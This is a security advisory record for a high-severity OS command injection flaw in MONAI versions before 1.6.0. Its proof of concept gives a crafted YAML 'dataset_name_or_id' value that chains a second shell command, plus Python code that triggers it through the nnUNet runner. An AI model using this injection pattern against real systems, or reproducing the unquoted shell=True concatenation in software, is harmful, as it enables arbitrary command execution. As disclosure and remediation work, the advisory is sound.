{"id":"GHSA-rghg-q7wp-9767","title":"MONAI vulnerable to OS command injection","summary":"MONAI vulnerable to OS command injection","severity":"high","cwe":["CWE-78"],"vendor":"MONAI","product":"MONAI","ecosystem":"pip","affected":["MONAI < 1.6.0"],"patched":["MONAI 1.6.0"],"published":"2026-08-18","updated":"2026-08-18","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-rghg-q7wp-9767","references":[{"url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-rghg-q7wp-9767"},{"url":"https://github.com/Project-MONAI/MONAI/pull/8885"},{"url":"https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"},{"url":"https://github.com/advisories/GHSA-rghg-q7wp-9767"}],"tags":["ghsa","pip"],"ingestedAt":"2026-08-18T21:23:00.181Z","slug":"GHSA-rghg-q7wp-9767","body":"## Overview\n\n### Comment from JPCERT/CC\nWe are submitting the report again as we have yet to receive\nany responses from you after submitting it on February 5 and March 11.\n\nIt would be greatly appreciated if you could send us a message\nafter confirming it so that we can follow up the case by email.\n\n### Summary\nMONAI vulnerable to OS command injection.\n\n### Details\nThis library concatenates user-controlled values (YAML's\n\"dataset_name_or_id\" or part of \"CLI/kwargs\")\nwithout quoting or validation. Since this string is passed to subprocess\nwith shell=True,\nshell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.\n\nAs a result, arbitrary commands can be concatenated and executed.\nTherefore, the reporter identifies this as CWE-78 (OS Command Injection).\n\nThe victim needs to load a crafted YAML file in the code that launches\ntraining/validation jobs\nbased on the configuration (YAML/arguments). There are no other constraints.\n\n### PoC\nVerified on Windows.\nLoad a modified YAML file with crafted \"dataset_name_or_id\" as follows.\nAdd command separator characters (such as & or ;) and insert arbitrary\ncommands.\n\ndataset_name_or_id: '4 & echo \"This is exploited\" >\n\"C:\\Users\\shima\\OneDrive\\Desktop\\tmp\\test.txt\" & rem'\ndataroot: C:/Users/shima/OneDrive/Desktop/tmp/data\ndatalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json\nwork_dir: C:/Users/shima/OneDrive/Desktop/tmp/work\nnnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw\nnnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed\nnnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results\n\nAs a victim, verify running the following Python code to load and\nprocess the YAML file.\n\nfrom monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner\nfrom pathlib import Path\n#Path of the crafted YAML file\nYAML = r\"C:\\Users\\shima\\OneDrive\\Desktop\\tmp\\test.yaml\"\n#Text file overwritten when command executes\nOUT  = Path(r\"C:\\Users\\shima\\OneDrive\\Desktop\\tmp\\test.txt\")\n#Read YAML\nrunner = nnUNetV2Runner(input_config=YAML,\ntrainer_class_name=\"nnUNetTrainer\")\nrunner.train_single_model(config=\"3d_fullres\", fold=0, gpu_id=0)\n#Verify command execution\nprint(\"Result:\", OUT.read_text(encoding=\"utf-8\").strip())\n\nAlso, see the attached file.\n[JVN#50379904-details.zip](https://github.com/user-attachments/files/26231614/JVN.50379904-details.zip)\n\n## Affected packages\n\n- `MONAI < 1.6.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `MONAI 1.6.0`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}